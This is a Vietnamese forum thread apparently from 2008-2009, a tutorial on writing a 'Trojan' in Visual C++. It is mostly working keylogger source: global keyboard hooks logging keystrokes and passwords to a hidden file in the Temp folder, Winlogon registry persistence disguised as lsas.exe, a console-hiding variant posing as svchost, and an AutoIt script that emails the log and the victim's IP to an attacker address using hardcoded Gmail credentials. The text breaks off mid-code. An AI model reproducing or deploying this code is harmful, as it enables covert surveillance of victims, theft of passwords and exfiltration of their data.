Trang 1 trên tổng số 2 12 Cuối cùngCuối cùng
Từ 1 tới 10 trên tổng số 13 kết quả

Đề tài: Hướng Dẫn Lập Trình Trojan Trên VC++

  1. #1
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Red face Hướng Dẫn Lập Trình Trojan Trên VC++

    Trojan là 1 phần mềm gián điệp dùng để theo dõi hoạt động của 1 người trên máy tính của họ
    Công cụ viết :

    1)VC++6.0 Tất nhiên là Visual C++ rồi,ở đây mình chọn VC++6.0 dơn giản gọn nhẹ rất thích hợp với những project Win32API thế này
    2)Virtual PC 2007 1 máy ảo để có thể kiểm tra được két quả của mình ở đây mình chọn phần mềm miễn phí
    3) MSDNcuốn từ điển quý giá cho những ai yêu thích lập trình windows MSDN bản mới nhất là bản 2008 nhé
    4) visual Assist công cụ hỗ trợ gõ code rất tốt

    Muốn viết trojan bắt buộc ta phải tìm hiểu về Hook,vậy Hook là gì???
    Trong Windows, khi chúng ta thực hiện các thao tác nhấp chuột, nhấn phím… thì hệ điều hành sẽ chuyển các sự kiện này thành các thông điệp (message) rồi đưa vào hàng đợi (queue) của hệ thống. Sau đó, các thông điệp được trao lại cho từng ứng dụng cụ thể để xử lý.

    Hook là một kỹ thuật cho phép một hàm có thể chặn, theo dõi, xử lý, hoặc hủy bỏ các thông điệp trước khi chúng “mò” đến được ứng dụng.
    Vậy ta cần Hook để làm gì??
    Chúng ta cần Hook để bắt các phím khi victim sử dụng chúng,và lưu lại trên 1 File ,và cuối cùng sử dụng phương thức gửi mail qua SMTP để gửi File đó đến ta
    bắt đầu Hook thôi
    Muốn làm trojan bắt buộc chúng ta sẽ phải Hook toàn cục hệ thống
    ở đây Mình chỉ xin bàn đến Hook bàn phím thôi nhé
    đầu tiên,để cài đặt Hook ta cần phải có hàm SetWindowsHookEx, CallNextHookEx, UnhookWindowsHookEx,và cuối cùng là 1 hàm CALLBACK dùng để lọc các thông tin nhận được từ các thông điệp

    hàm SetWindowsHookEx dùng để cài đặt Hook

    đọc ở ms-help://MS.MSDNQTR.v90.en/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.htm trong CD MSDN

    Visual C++ Code:
    1. HHOOK SetWindowsHookEx(
    2.     int idHook,
    3.     HOOKPROC lpfn,
    4.     HINSTANCE hMod,
    5.     DWORD dwThreadId
    6. );
    Ý nghĩa từng tham số
    1) tham số int idHook
    Xác định loại hook mà ta muốn cài đặt, tham số này có thể là một trong các giá trị sau :

    • WH_CALLWNDPROC : đặt một thủ tục hook quản lý các thông điệp trước lúc hệ thống gởi chúng tới cửa sổ đích.

    • WH_CALLWNDPROCRET : đặt một thủ tục hook quản lý các thông điệp sau khi chúng được xử lý bởi thủ tục cửa sổ đích.

    • WH_CBT : đặt một thủ tục hook nhận những thông báo có ích tới ứng dụng huấn luyện trên cơ sở tính toán (CBT).

    • WH_DEBUG :đặt một thủ tục hook có ích cho việc debug những thủ tục hook khác.

    • WH_FOREGROUNDIDLE : đặt một thủ tục hook sẽ được gọi khi thread foreground của ứng dụng sẽ trở thành không dùng đến. Hook này có ích cho hoạt động những nhiệm vụ (task) độ ưu tiên thấp trong thời gian không được dùng đến.

    • WH_GETMESSAGE : đặt một thủ tục hook quản lý các thông điệp được post tới hàng đợi thông điệp.

    •WH_JOURNALPLAYBACK : đặt một thủ tục hook post những thông điệp được ghi trước đó bởi thủ tục hook WH_JOURNALRECORD.

    •WH_JOURNALRECORD : đặt một thủ tục hook ghi những thông điệp đầu vào được post tới hàng thông điệp hệ thống. Hook này có ích cho việc ghi các macro.

    • WH_KEYBOARD : đặt một thủ tục hook quản lý các thông điệp keystroke.

    • WH_MOUSE :đặt một thủ tục hook quản lý các thông điệp chuột.

    • WH_MSGFILTER: đặt một thủ tục hook quản lý các thông điệp được kết sinh như là một kết quả cuả sự kiện đầu vào ở trong dialog box, message box, menu hay scroll bar.

    • WH_SYSMSGFILTER : đặt một ứng dụng các thông điệp được kết sinh như là kết quả của một sự kiện đầu vào ở trong dialog box, message box, menu hay scroll bar. Thủ tục hook quản lý những thông điệp này cho tất cả các ứng dụng trong hệ thống.

    Do ta chỉ Hook bàn phím nên ta chọn • WH_KEYBOARD nhé

    2 ) tham số lpfn : Địa chỉ của Filter Function mà ta muốn gắn với hook.( các bạn gán tên của hàm lọc vào tham số này nhé )

    3) Tham số hMod : Handle của module chứa Filter Function. Nếu ta cài đặt một hook cục bộ (nghĩa là sự thực thi của Filter Function chỉ ảnh hưởng đối với tiến trình cài đặt hook), tham số này phải là NULL. Còn nếu chúng ta muốn có một hook với phạm vi toàn hệ thống (tức là mọi tiến trình đang hiện hữu đều chịu ảnh hưởng bởi Filter Function của chúng ta), tham số này sẽ là Handle của DLL chứa Filter Function.
    ở trong trường hợp này,có 2 cách để gọi đến handle của Hàm lọc
    cách thứ nhất là dùng GetModuleHandle để lấy địa chỉ của File DLL chứa hàm lọc
    với MFC ta có thể sử dụng hàm ::AfxGetInstanceHandle() để lấy handle của File chứa hàm lọc nhé

    4) Tham số dwThreadID : Định danh của thread ứng với hook đang được cài đặt . Nếu tham số này là một số khác 0, Filter Function được gắn với hook chỉ được gọi trong ngữ cảnh của một thread xác định. Còn nếu dwThreadID = 0, Filter Function sẽ có phạm vi toàn hệ thống, và dĩ nhiên, nó sẽ được gọi trong ngữ cảnh của bất kỳ thread nào đang tồn tại trên HĐH. Có thể sử dụng hàm GetCurrentThreadId để lấy được handle của thread muốn cài đặt hook.
    hàm CallNextHookEx để gọi đến hàm kế tiếp trong chuỗi các hàm Lọc
    Đọc thêm MSDN ở đây ms-help://MS.MSDNQTR.v90.en/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/callnexthookex.htm
    Visual C++ Code:
    1. LRESULT CallNextHookEx(
    2.     HHOOK hhk,
    3.     int nCode,
    4.     WPARAM wParam,
    5.     LPARAM lParam
    6. );
    Với ý nghĩa từng tham số
    hhk : là handle của hook hiện hành, giá trị này có thể lấy được từ hàm SetWindowsHookEx khi cài đặt hook.

    nCode : chỉ định hook code để gởi đến hook kế tiếp. Hàm xử lý hook dùng giá trị này để chỉ định xử lý thông điệp được gởi từ hook như thế nào .

    wParam: chỉ định 16 bits thông tin mở rộng của thông điệp.

    lParam: chỉ định 32 bits thông tin mở rộng của thông điệp.

    Giá trị trả về : giá trị trả về là kết quả của quá trình xử lý và tùy thuộc vào thông số nCode

    Trong một số tình huống, Filter Function hiện hành có thể không muốn chuyển sự kiện cho Filter Function khác trong cùng một chuỗi. Lúc này, nếu loại hook chúng ta đang cài đặt cho phép huỷ bỏ sự kiện, và Filter Function của chúng ta cũng có cùng quyết định là hủy bỏ, nó sẽ không phải gọi hàm CallNextHookEx.

    Hàm lọc ( Filter Function ) để sử lý các thông tin bắt được
    Hàm lọc là hàm dùng để sử lý các sự kiện mà ta bắt được,vì lý do đó nên hàm lọc bắt buộc phải là hàm CALLBACK
    Bất kỳ 1 hàm lọc nào cũng phải tuan theo cú pháp sau:
    Visual C++ Code:
    1. LRESULT CALLBACK Tên_hàm_lọc(int nCode, WPARAM wParam, LPARAM lParam);
    Với tên_hàm_lọc là do bạn tùy chọn

    Ý nghĩa của từng tham số truyền cho hàm :

    nCode : tham số này thường được gọi là “hook code”, Filter Function sử dụng giá trị này để quyết định cách thức xử lý đối với sự kiện. Giá trị của hook code tùy thuộc vào từng loại hook cụ thể, và mỗi loại hook sẽ có tập hợp những giá trị hook code đặc trưng của riêng mình. Có một quy luật mà dường như các Filter Function của mọi loại hook cần tuân thủ : Khi Windows truyền cho hàm giá trị hook code âm, Filter Function không được xử lý sự kiện mà phải gọi hàm CallNextHookEx với chính những tham số mà hệ điều hành truyền cho nó. Sau đó, nó phải trả về giá trị được trả về bởi hàm CallNextHookEx.

    wParam, lParam: Đây là những thông tin cần thiết cho Filter Function trong quá trình xử lý sự kiện. Các giá trị này sẽ có ý nghĩa khác nhau tuỳ thuộc vào từng loại hook. Ví dụ , Filter Function gắn với hook WH_KEYBOARD sẽ nhận mã phím ảo (Virtual-Key Code) từ wParam, đồng thời có được từ lParam thông tin mô tả trạng thái của bàn phím khi sự kiện gõ phím xảy ra.

    còn tiếp
    Đã được chỉnh sửa lần cuối bởi AlexF : 17-01-2009 lúc 11:58 AM.

  2. #2
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    tiếp tục
    Hook Cục Bộ
    đầu tiên,mình giới thiệu 1 Hook cơ bản mà cả hàm lọc và hàm cài đặt Hook đều nằm trên cùng 1 File
    mở VC++6.0 ra,chọn Win32 console copy đoạn này
    Visual C++ Code:
    1. #include <windows.h>
    2. #include <stdio.h>
    3. #include <tchar.h>
    4. // ham loc cua Hook
    5. LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam );
    6. int main()
    7. {
    8.     // lay dia chi Hook cho moi ung dung
    9.     HINSTANCE appInstance = GetModuleHandle(NULL);
    10.     // Set a global Windows Hook to capture keystrokes.
    11.     SetWindowsHookEx( WH_KEYBOARD, LowLevelKeyboardProc, appInstance, 0 );
    12.     /////////////////////nhan thong tin tu nguoi dung
    13.     MSG msg;
    14.     while(GetMessage(&msg, NULL, 0, 0) > 0)//vong lap nhan thong diep
    15.     {
    16.         TranslateMessage(&msg);
    17.         DispatchMessage(&msg);
    18.     }
    19.     return 0;
    20. }
    21. LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
    22. {
    23.     if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))  //khi ban an phim
    24.     {
    25.         printf("BAN DANG BI HOOK CUC BO BAN PHIM\n");
    26.     }
    27.     CallNextHookEx( NULL, nCode, wParam, lParam );  //call back tiep tuc
    28.     return 0;
    29. }

    đây là đoạn mã chúng ta sẽ Hook CỤC BỘ bàn phím ngay trên màn hình dos của chương trình
    như đã giới thiệu,hàm
    GetModuleHandle(NULL);
    dùng để lấy handle của File chứa hàm lọc,ta để NULL ở đây là để lấy chính File mà ta đang chạy
    Visual C++ Code:
    1. SetWindowsHookEx( WH_KEYBOARD, LowLevelKeyboardProc, appInstance, 0 );
    chúng ta chọn là Hook bàn phím vì thế ta phải chọn là WH_KEYBOARD
    còn LowLevelKeyboardProc là tên của hàm lọc

    appInstance chính là handle của File chứa hàm lọc
    tham số cuối cùng để 0 là để Hook ở mức hệ thống

    đến hàm lọc
    Visual C++ Code:
    1. LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
    2. {
    3.     if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))  //khi ban an phim
    4.     {
    5.         printf("BAN DANG BI HOOK CUC BO BAN PHIM\n");
    6.     }
    7.     CallNextHookEx( NULL, nCode, wParam, lParam );  //call back tiep tuc
    8.     return 0;
    9. }


    ta chỉ đơn giản là khi người dùng bấm phím là in ra màn hình câu bạn đang bị hook,vì thế ta gần như không phải lọc sự kiện gì,chỉ cần bấm phím là printf thoai
    Visual C++ Code:
    1.     if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))  //khi ban an phim
    2.     {
    3.         printf("BAN DANG BI HOOK CUC BO BAN PHIM\n");
    4.     }
    tiếp tục
    hàm
    CallNextHookEx( NULL, nCode, wParam, lParam ); //call back tiep tuc
    phải nằm trong hàm lọc để duy trì sự kiện 1 cách liên tục

    còn tiếp
    Đã được chỉnh sửa lần cuối bởi AlexF : 14-01-2009 lúc 09:48 PM.

  3. #3
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Hook toàn cục
    Muốn Hook toàn cục ta chia ra làm 2 File,1 File DLL chứa hàm lọc và được export ra,1 File exe chứa hàm cài đặt Hook và import hàm lọc
    [PHP]trước hết các bạn cần biết cách tạo 1 File DLL,nếu chưa biết có thể đọc hướng dẫn thêm tại đây Cách tạo thư viện DLL trong VC++ 6.0
    File DLL có tên là DLL.dll nhé
    Visual C++ Code:
    1. #include <windows.h>
    2. #include <fstream>
    3. using namespace std;
    4.  
    5. #ifdef _DEBUG
    6. #define new DEBUG_NEW
    7. #undef THIS_FILE
    8. static char THIS_FILE[] = __FILE__;
    9. #endif
    10.  
    11.  
    12. #pragma data_seg(".SHARDAT")
    13.  
    14. char *SaveFile()
    15. {
    16.     char s[255];
    17.     static char pth[255];
    18.     GetTempPath(255,pth);
    19.     lstrcpy(s,"keylog.txt");
    20.     lstrcat(pth,s);
    21.     return pth;
    22. }
    23.  
    24. //Mo File
    25. fstream File;//khai bao File
    26. LRESULT _stdcall CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
    27. {
    28.     char ch,chuoi[20];
    29.     if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))  //neu ban an phim
    30.     {
    31.         if ((wParam==VK_LEFT )|| (wParam==VK_HOME )|| (wParam==VK_END )||(wParam==VK_NEXT )||(wParam==VK_UP)|| (wParam==VK_RIGHT)||(wParam==VK_DOWN)||(wParam==VK_DELETE)||(wParam==VK_LBUTTON)||(wParam==VK_RBUTTON )||(wParam==VK_MENU)||(wParam==VK_CANCEL )||(wParam==VK_CONTROL)||(wParam==VK_SHIFT)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100))||(wParam==VK_TAB)||(wParam==VK_CLEAR)||(wParam==VK_BACK))
    32.         // ghi chu VK_RETURN : ENTER , VK_TAB : tab ,day la ma phim ao chi tiet doc
    33.          // ms-help://MS.MSDNQTR.v90.en/winui/winui/WindowsUserInterface/UserInput/VirtualKeyCodes.htm
    34.         {
    35.             File.open(SaveFile(),ios::out|ios::app);
    36.             if (wParam==VK_RETURN)  //neu la phim Enter thi xuong dong
    37.             {
    38.                  ch = '\n';//gan ky tu xuong dong
    39.                  File.write(&ch,sizeof(ch)); //ghi ra
    40.             }
    41.             else if (wParam==VK_TAB)  //neu la dau TAB
    42.             {
    43.                 lstrcpy(chuoi,"{TAB}");
    44.                 File<<chuoi;  //ghi ra nit TAB de Biet khi danh password :D
    45.             }  
    46.             else if (wParam==VK_CLEAR)
    47.             {
    48.                 lstrcpy(chuoi,"{CLEAR}");
    49.                 File<<chuoi;
    50.             }
    51.             else if (wParam==VK_BACK)
    52.             {  
    53.                 lstrcpy(chuoi,"{BACK}");  //neu xoa thi bao 1 tieng,de phong luc danh password sai ho danh lai
    54.                 File<<chuoi;
    55.             }
    56.             else if(wParam==VK_SPACE)
    57.             {
    58.                 lstrcpy(chuoi," ");  // nut cach
    59.                 File<<chuoi;
    60.             }
    61.             else if (wParam==VK_SHIFT)
    62.             {
    63.                 lstrcpy(chuoi,"{SHIFT}");  // shift
    64.                 File<<chuoi;
    65.             }
    66.             else if (wParam==VK_CONTROL)
    67.             {
    68.                 lstrcpy(chuoi,"{CONTROL}");  // nut control
    69.                 File<<chuoi;
    70.             }
    71.             else if (wParam==VK_LEFT )
    72.             {
    73.                 lstrcpy(chuoi,"{<-}");  // nut sang trai
    74.                 File<<chuoi;
    75.             }
    76.             else if (wParam==VK_HOME  )
    77.             {
    78.                 lstrcpy(chuoi,"{Home}");  // nut Home
    79.                 File<<chuoi;
    80.             }
    81.             else if (wParam==VK_END )
    82.             {
    83.                 lstrcpy(chuoi,"{END}");  //
    84.                 File<<chuoi;
    85.             }
    86.             else if ((wParam==VK_NEXT ))
    87.             {
    88.                 lstrcpy(chuoi,"{PAGEDOWN}");  //
    89.                 File<<chuoi;
    90.             }
    91.             else if ((wParam==VK_UP) )
    92.             {
    93.                 lstrcpy(chuoi,"{MuiTenXuong}");  //
    94.                 File<<chuoi;
    95.             }
    96.             else if ((wParam==VK_RIGHT))
    97.             {
    98.                 lstrcpy(chuoi,"{->}");  //
    99.                 File<<chuoi;
    100.             }
    101.             else if ((wParam==VK_DOWN))
    102.             {
    103.                 lstrcpy(chuoi,"{MuiTenXuong}");  //
    104.                 File<<chuoi;
    105.             }
    106.             else if ((wParam==VK_DELETE))
    107.             {
    108.                 lstrcpy(chuoi,"{Delete}");  //
    109.                 File<<chuoi;
    110.             }
    111.             else if ((wParam==VK_LBUTTON))
    112.             {
    113.                 lstrcpy(chuoi,"{ChuotTrai}");  //
    114.                 File<<chuoi;
    115.             }
    116.             else if ((wParam==VK_RBUTTON ))
    117.             {
    118.                 lstrcpy(chuoi,"{ChuotPhai}");  //
    119.                 File<<chuoi;
    120.             }
    121.             else if ((wParam==VK_MENU))
    122.             {
    123.                 lstrcpy(chuoi,"{ALT}");  //
    124.                 File<<chuoi;
    125.             }
    126.             else if ((wParam==VK_CANCEL ))
    127.             {
    128.                 lstrcpy(chuoi,"{Break}");  //
    129.                 File<<chuoi;
    130.             }
    131.             else if(wParam>=0x30&&wParam<= 0x5A)  //neu la cac nut tu 0 --> 9 hoac tu a -> Z
    132.             {
    133.                  BYTE ks[256];  
    134.                  GetKeyboardState(ks);  //lay ma Nut bamso
    135.                  WORD w;
    136.                  UINT scan;
    137.                  scan=0;
    138.                  ToAscii(wParam,scan,ks,&w,0);  //chuyen ma nut bam ra ma Ascii
    139.                  ch = char(w);
    140.                  File.write(&ch,sizeof(ch));//ghi ra File cac chu cai tim duoc
    141.             }
    142.             //khong ghi lai cac nut khac khong lien quan den viec danh password
    143.             File.close();//dong File,tiep tuc chu trinh( moi khi bam 1 phim lai mo File )
    144.         }
    145.     }
    146.     LRESULT RetVal = CallNextHookEx( NULL, nCode, wParam, lParam );  //call back tiep tuc
    147.     return RetVal;
    148. }

    hàm SaveFile() là để mình lấy đường dẫn là File Temp của windows,Folder này nổi tiếng lắm File linh tinh nên mình cho trojan vào đây cho nạn nhân khó tìm
    Visual C++ Code:
    1. char *SaveFile()
    2. {
    3.     char s[255];
    4.     static char pth[255];
    5.     GetTempPath(255,pth);
    6.     lstrcpy(s,"keylog.txt");
    7.     lstrcat(pth,s);
    8.     return pth;
    9. }

    Mình lưu keylog.txt vào File Temp đó

    tiếp đến là hàm Lọc,hàm lọc mình sử lý việc gõ bàn phím,cứ gõ phím nào mình lập tức chuyển nó sang kiểu ký tự và ghi ra File ở đây xin mọi người chú ý cho là mình chỉ lọc những phím quan trọng cho soạn thảo văn bản và gõ password thôi nên không thể sử dụng hàm GetkeyNameText được mà phải sử dụng hàm GetKeyboardState để thu nhận từng ma phím ảo của phím


    Visual C++ Code:
    1.             else if(wParam>=0x30&&wParam<= 0x5A)  //neu la cac nut tu 0 --> 9 hoac tu a -> Z
    2.             {
    3.                  BYTE ks[256];  
    4.                  GetKeyboardState(ks);  //lay ma Nut bamso
    5.                  WORD w;
    6.                  UINT scan;
    7.                  scan=0;
    8.                  ToAscii(wParam,scan,ks,&w,0);  //chuyen ma nut bam ra ma Ascii
    9.                  ch = char(w);
    10.                  File.write(&ch,sizeof(ch));//ghi ra File cac chu cai tim duoc
    11.             }

    nếu là các ký tự từ A--> z và 0-->9 trên bàn phím thì ta ghi trực tiếp ra

    File chứa hàm cài đặt Hook
    File này phải gọi hàm LowLevelKeyboardProc trong thư viện DLL.dll
    Visual C++ Code:
    1. #include <windows.h>
    2. #include<fstream>
    3. using namespace std;
    4.  
    5. char *SaveFile()
    6. {
    7.     char s[255];
    8.     static char pth[255];
    9.     GetTempPath(255,pth);
    10.     lstrcpy(s,"keylog.txt");
    11.     lstrcat(pth,s);
    12.     return pth;
    13. }
    14.  
    15. // ham loc cua Hook
    16. int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
    17. {
    18.     // lay dia chi Hook cho moi ung dung
    19.     typedef LRESULT (CALLBACK *controdiachi)(int, WPARAM,LPARAM);
    20.     HINSTANCE thuvien;
    21.     thuvien = LoadLibrary("DLL.dll");
    22.     controdiachi LowLevelKeyboardProc;
    23.     if (thuvien == NULL)
    24.     {
    25.         return 0;
    26.     }
    27.    
    28.     LowLevelKeyboardProc = (controdiachi)GetProcAddress(thuvien, "LowLevelKeyboardProc");
    29.     if (LowLevelKeyboardProc == NULL)
    30.     {
    31.         return 0;
    32.     }
    33.          /////////////  xoa sach File cu di de viet File moi vao
    34.     fstream File;
    35.      File.open(SaveFile(),ios::out);
    36.      File.close(); 
    37.      ////////////////////////////sau khi xoa xong thi dong FIle lai
    38.     HMODULE appInstance = GetModuleHandle("DLL.DLL");
    39.                     // Set a global Windows Hook to capture keystrokes
    40.     SetWindowsHookEx( WH_KEYBOARD, LowLevelKeyboardProc, appInstance, 0 );
    41.     /////////////////////nhan thong tin tu nguoi dung
    42.     MSG msg;//
    43.     while(GetMessage(&msg, NULL, 0, 0) != FALSE)
    44.     {
    45.         TranslateMessage(&msg);
    46.         DispatchMessage(&msg);
    47.     }
    48.     FreeLibrary(thuvien);
    49.     return 0;
    50. }

    tiếp theo là phần khởi động lại cùng máy tính
    mình cung cấp đoạn code này để Trojan có thể khởi động lại cùng máy tính,chỉ việc copy hàm này vào và gọi nó là được
    Visual C++ Code:
    1. void khoidong()
    2. {
    3.         HKEY hkey;
    4.         RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_ALL_ACCESS,&hkey);
    5.         RegSetValueEx(hkey,"System",NULL,REG_SZ,(unsigned char*)"C:\\WINDOWS\\system32\\lsas.exe",strlen("C:\\WINDOWS\\system32\\lsas.exe")+1);
    6.         RegCloseKey(hkey);
    7. }

    với File cần khởi động lại có tên là C:\\WINDOWS\\system32\\lsas.exe--> đây sẽ là tên con trojan của ta nhé


    rất tiếc là tại thời điểm hiện tại mình chưa gửi Mail bằng VC++ được,chỉ có thể dùng tạm ngu kiến AutoIT để làm việc này,nếu ai quan tâm thì có thể xem code
    AutoIT Code:
    1. #Include<file.au3>
    2. #include <Inet.au3>
    3. $PublicIP = _GetIP()  ; lay dia chi IP cua ban
    4. Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
    5. ;##################################
    6. ; Include
    7. ;##################################
    8. #Include<file.au3>
    9. #Include<array.au3>
    10. ;##################################
    11. ; Variables
    12. ;##################################
    13. Dim $array
    14. $s_SmtpServer = "smtp.gmail.com"                             ; dia chi SMTP
    15. $s_FromName = "virusbom12"                           ; ten cua Nick tren dia chi ( lay FistName neu la Gmail.com
    16. $s_FromAddress = "virusbom12@gmail.com"                 ;  day la dia chi mail Nguoi Gui
    17. $s_ToAddress = "lai_tathieu@yahoo.com"           ; dia chi Mail nguoi nhan
    18. $s_Subject = @ComputerName                                      ; tieu de cua Mail ,o da minh lay la ten may tinh
    19. $as_Body = "dia chi IP Hien Tai Cua May Tinh Co Ten " &@ComputerName & " LA: "& $PublicIP                 ; day la noi dung Text cua Main ,o day minh lay la ten may tinh va dia chi IP cua ban
    20. $array = "C:\csb.txt"  ; cai nay anh em de gui file nhe
    21. $s_CcAddress = ""                    ; address for cc - leave blank if not needed
    22. $s_BccAddress = ""                   ; address for bcc - leave blank if not needed
    23. $s_Username = "virusbom12@gmail.com"                        ; danh lai dia chi  mail gui cua ban ( neu la Gmail)
    24. $s_Password = "virusvn1989"                           ; danh password mail gui cua ban( de tu dong gui mail ma
    25. $IPPort = 465                                       ; port 465 cua Gmail
    26. $ssl = 1                                                          ;
    27.  
    28. ;##################################
    29. ; Script
    30. ;##################################
    31. Global $oMyRet[2]
    32. Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
    33.  
    34. ; day la ham Gui Mail _INetSmtpMailCom
    35. $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $array, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
    36.     MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
    37. ;
    38.  
    39. Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $array = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
    40.     $objEmail = ObjCreate("CDO.Message")
    41.     $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    42.     $objEmail.To = $s_ToAddress
    43.     Local $i_Error = 0
    44.     Local $i_Error_desciption = ""
    45.     If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    46.     If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    47.     $objEmail.Subject = $s_Subject
    48.     If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
    49.         $objEmail.HTMLBody = $as_Body
    50.     Else
    51.         $objEmail.Textbody = $as_Body & @CRLF
    52.     EndIf
    53.     If $array <> "" Then
    54.         ;Local $array = StringSplit($array, ";")
    55.             $array= _PathFull ($array)
    56.             If FileExists($array) Then
    57.                 $objEmail.AddAttachment ($array)
    58.             Else
    59.                 $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $array
    60.                 SetError(1)
    61.                 return 0
    62.             EndIf
    63.     EndIf
    64.     $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    65.     $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    66.     $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    67. ;Authenticated SMTP
    68.     If $s_Username <> "" Then
    69.         $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    70.         $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
    71.         $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    72.     EndIf
    73.     If $Ssl Then
    74.         $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    75.     EndIf
    76. ;Update settings
    77.     $objEmail.Configuration.Fields.Update
    78. ; Sent the Message
    79.     $objEmail.Send
    80.     if @error then
    81.         SetError(2)
    82.         return $oMyRet[1]
    83.     EndIf
    84. EndFunc ;==>_INetSmtpMailCom
    85. ;
    86. ;
    87. ; Com Error Handler
    88. Func MyErrFunc()
    89.     $HexNumber = Hex($oMyError.number, 8)
    90.     $oMyRet[0] = $HexNumber
    91.     $oMyRet[1] = StringStripWS($oMyError.description,3)
    92.     ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    93.     SetError(1); something to check for when this function returns
    94.     Return
    95. EndFunc ;==>MyErrFunc
    Đã được chỉnh sửa lần cuối bởi AlexF : 02-02-2009 lúc 10:32 PM.

  4. #4
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    các bạn cũng có thể Làm được keylog mà không cần phải biết đến kỹ thuật Hook ^^!, nhưng nếu học xong C mà không biết Hook thì .... hơi phí hơn nữa,sử dụng kỹ thuật Hook giúp ta tiếc kiệm bộ nhớ hơn là phương pháp liên tục kiểm tra bằng vòng lặp vô cùng

    Phương pháp Kiểm tra bàn phím bằng vòng lặp vô cùng

    Visual C++ Code:
    1. #include <windows.h>
    2. #include <stdio.h>
    3. #include <winuser.h>
    4. #include <windowsx.h>
    5.  
    6. #define BUFSIZE 80
    7.  
    8. int test_key(void);
    9. int create_key(char *);
    10. int get_keys(void);
    11.  
    12.  
    13. int main(void)
    14. {
    15.     HWND stealth;
    16.     AllocConsole();
    17.     stealth=FindWindowA("ConsoleWindowClass",NULL);
    18.     ShowWindow(stealth,0);
    19.  
    20.     int test,create;
    21.     test=test_key();
    22.  
    23.     if (test==2)
    24.     {
    25.         char *path="c:\\%windir%\\svchost.exe";
    26.         create=create_key(path);
    27.  
    28.     }
    29.  
    30.  
    31.     int t=get_keys();
    32.  
    33.     return t;
    34. }  
    35.  
    36. int get_keys(void)
    37. {
    38.     short character;
    39.     while(1)
    40.     {
    41.         Sleep(10);//tiec kiem CPU
    42.         for(character=8;character<=222;character++)
    43.         {
    44.             if(GetAsyncKeyState(character)==-32767)
    45.             {  
    46.  
    47.                 FILE *file;
    48.                 file=fopen("svchost.log","a+");
    49.                 if(file==NULL)
    50.                 {
    51.                     return 1;
    52.                 }            
    53.                 if(file!=NULL)
    54.                 {        
    55.                     if((character>=39)&&(character<=64))
    56.                     {
    57.                         fputc(character,file);
    58.                         fclose(file);
    59.                         break;
    60.                     }        
    61.                     else if((character>64)&&(character<91))
    62.                     {
    63.                         character+=32;
    64.                         fputc(character,file);
    65.                         fclose(file);
    66.                         break;
    67.                     }
    68.                     else
    69.                     {
    70.                         switch(character)
    71.                         {
    72.                         case VK_SPACE:
    73.                             fputc(' ',file);
    74.                             fclose(file);
    75.                             break;    
    76.                         case VK_SHIFT:
    77.                             fputs("[SHIFT]",file);
    78.                             fclose(file);
    79.                             break;                                            
    80.                         case VK_RETURN:
    81.                             fputs("\n[ENTER]",file);
    82.                             fclose(file);
    83.                             break;
    84.                         case VK_BACK:
    85.                             fputs("[BACKSPACE]",file);
    86.                             fclose(file);
    87.                             break;
    88.                         case VK_TAB:
    89.                             fputs("[TAB]",file);
    90.                             fclose(file);
    91.                             break;
    92.                         case VK_CONTROL:
    93.                             fputs("[CTRL]",file);
    94.                             fclose(file);
    95.                             break;    
    96.                         case VK_DELETE:
    97.                             fputs("[DEL]",file);
    98.                             fclose(file);
    99.                             break;
    100.  
    101.                             /*case VK_OEM_PLUS:
    102.                             fputc('+',file);
    103.                             fclose(file);
    104.                             break;
    105.                             case VK_OEM_COMMA:
    106.                             fputc(',',file);
    107.                             fclose(file);
    108.                             break;
    109.                             case VK_OEM_MINUS:
    110.                             fputc('-',file);
    111.                             fclose(file);
